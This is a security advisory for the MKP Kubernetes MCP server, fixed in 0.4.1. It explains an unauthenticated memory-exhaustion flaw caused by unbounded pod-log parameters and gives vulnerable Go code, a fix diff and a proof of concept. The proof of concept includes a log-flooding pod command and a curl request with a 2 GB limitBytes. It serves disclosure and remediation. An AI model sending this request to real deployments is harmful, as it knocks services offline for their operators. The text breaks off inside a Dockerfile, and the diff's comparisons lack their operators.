GHSA-qw5r-ppcg-f8rj MKP: Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion

• Go github.com/StacklokLabs/mkp: < 0.4.1 → fixed in 0.4.1

Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion Summary The MKP (Model Context Protocol for Kubernetes) server exposes a `get_resource` MCP tool that proxies Kubernetes pod log requests. User-supplied `limitBytes` and `tailLines` parameters are parsed as unbounded `int64` values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory `bytes.Buffer` using `io.Copy` without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted `tools/call` request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with `limitBytes=134217728`. Details The vulnerability exists in `pkg/k8s/subresource.go` in the `buildPodLogOpts()` and `defaultGetPodLogs()` functions. Source — unbounded parameter parsing (`pkg/k8s/subresource.go:171–181`): ```go // pkg/k8s/subresource.go defaultLimitBytes := int64(32 * 1024) // 32 KB — only used when parameters map is nil ... if limitBytes, ok := parameters["limitBytes"]; ok { if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil { podLogOpts.LimitBytes = &b // no upper-bound check } } if tailLines, ok := parameters["tailLines"]; ok { if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil { podLogOpts.TailLines = &lines // no upper-bound check } } ``` When the `parameters` map is non-nil (always true for attacker-supplied input), `buildPodLogOpts()` is called at `pkg/k8s/subresource.go:94–96` and overwrites the 32 KB default entirely. The attacker can therefore supply any positive `int64` value (up to `2147483647` or `9223372036854775807`) as `limitBytes`. Sink — unbounded in-memory copy (`pkg/k8s/subresource.go:114–115`): ```go buf := new(bytes.Buffer) _, err = io.Copy(buf, podLogs) // entire Kubernetes stream copied into RAM ``` The stream from Kubernetes is read without limit into a heap-allocated `bytes.Buffer`. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×). Attack path (source → sink): | Step | Location | Description | |------|----------|-------------| | 1 | `cmd/server/main.go:30` | Server binds to `:8080` on all interfaces; no authentication by default | | 2 | `pkg/mcp/server.go:131` | `NewGetResourceTool()` registered unconditionally (no `--read-write` required) | | 3 | `pkg/mcp/get_resource.go:28–38` | Attacker-controlled `parameters` map parsed from `CallToolRequest` | | 4 | `pkg/mcp/get_resource.go:76` | `client.GetResource(..., parameters)` called | | 5 | `pkg/k8s/subresource.go:32–33` | `resource=pods` + `subresource=logs` routes into `getPodLogs` | | 6 | `pkg/k8s/subresource.go:171–181` | `limitBytes` / `tailLines` parsed without upper bound (source) | | 7 | `pkg/k8s/subresource.go:114–115` | `io.Copy(buf, podLogs)` loads full stream into `bytes.Buffer` (sink) | The rate limiter (`pkg/ratelimit/config.go:16–17`) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation. Suggested remediation: ```diff +const ( + maxPodLogTailLines int64 = 1000 + maxPodLogLimitBytes int64 = 1024 * 1024 // 1 MB hard cap +) + buf := new(bytes.Buffer) -_, err = io.Copy(buf, podLogs) +limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1} +_, err = io.Copy(buf, limitedLogs) +if limitedLogs.N == 0 { + return nil, fmt.Errorf("pod logs exceed maximum size of %d bytes", maxPodLogLimitBytes) +} if limitBytes, ok := parameters["limitBytes"]; ok { if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil { + if b maxPodLogLimitBytes { + b = maxPodLogLimitBytes + } podLogOpts.LimitBytes = &b } } if tailLines, ok := parameters["tailLines"]; ok { if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil { + if lines maxPodLogTailLines { + lines = maxPodLogTailLines + } podLogOpts.TailLines = &lines } } ``` PoC Prerequisites • Docker (for self-contained reproduction) • A running Kubernetes cluster with a pod whose logs are large (for real-environment testing) • MKP server accessible on port 8080 --- Option A — Self-contained Docker reproduction (Phase 2 method) This method uses a mock Kubernetes API that streams 128 MB of log data: ```bash 1. Clone the repository and enter it git clone https://github.com/StacklokLabs/mkp.git cd mkp 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/) docker build -t mkp-vuln-001 -f vuln-001/Dockerfile . 3. Run the exploit container — output includes RSS measurements docker run --rm mkp-vuln-001 ``` Expected output (condensed): ``` Initial RSS: 26464 kB ( 25.8 MB) t+01s: MKP RSS = 383080 kB ( 374.1 MB) [in-progress] t+02s: MKP RSS = 683876 kB ( 667.8 MB) [in-progress] t+03s: MKP RSS = 945008 kB ( 922.9 MB) [in-progress] t+06s: MKP RSS = 1207560 kB (1179.3 MB) [in-progress] Peak RSS: 1207572 kB (1179.3 MB) Delta RSS: 1181108 kB (1153.4 MB) VERDICT: CONFIRMED — RSS grew 1153.4 MB (limitBytes=128 MB) ``` --- Option B — Real Kubernetes environment (manual) ```bash 1. Build and start MKP server (default transport: streamable-http on :8080) git clone https://github.com/StacklokLabs/mkp.git && cd mkp task build ./build/mkp-server --kubeconfig=/path/to/kubeconfig 2. Create a pod that generates large logs kubectl -n default run logbomb --image=busybox --restart=Never -- \ sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' Wait ~30 seconds for logs to accumulate, then: 3. Send the exploit request curl -sS http://127.0.0.1:8080/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ --data '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "get_resource", "arguments": { "resource_type": "namespaced", "group": "", "version": "v1", "resource": "pods", "namespace": "default", "name": "logbomb", "subresource": "logs", "parameters": { "tailLines": "999999999", "limitBytes": "2147483647" } } } }' ``` Expected observation: MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable. Impact This is an unauthenticated remote Denial of Service (DoS) vulnerability affecting any deployment of MKP server accessible over the network. Who is impacted: • Any operator running `mkp-server` in its default configuration (no `--read-write` flag required; `get_resource` is registered by default on `:8080` without authentication). • Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g., `kube-system` workloads in production clusters almost always satisfy this condition). • Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable. A single `tools/call` request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with `limitBytes=2147483647` (~2 GB) will exhaust memory before any subsequent requests are needed. No authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required. Reproduction artifacts `Dockerfile` ```dockerfile ── Stage 1: Build mkp-server ──────────────…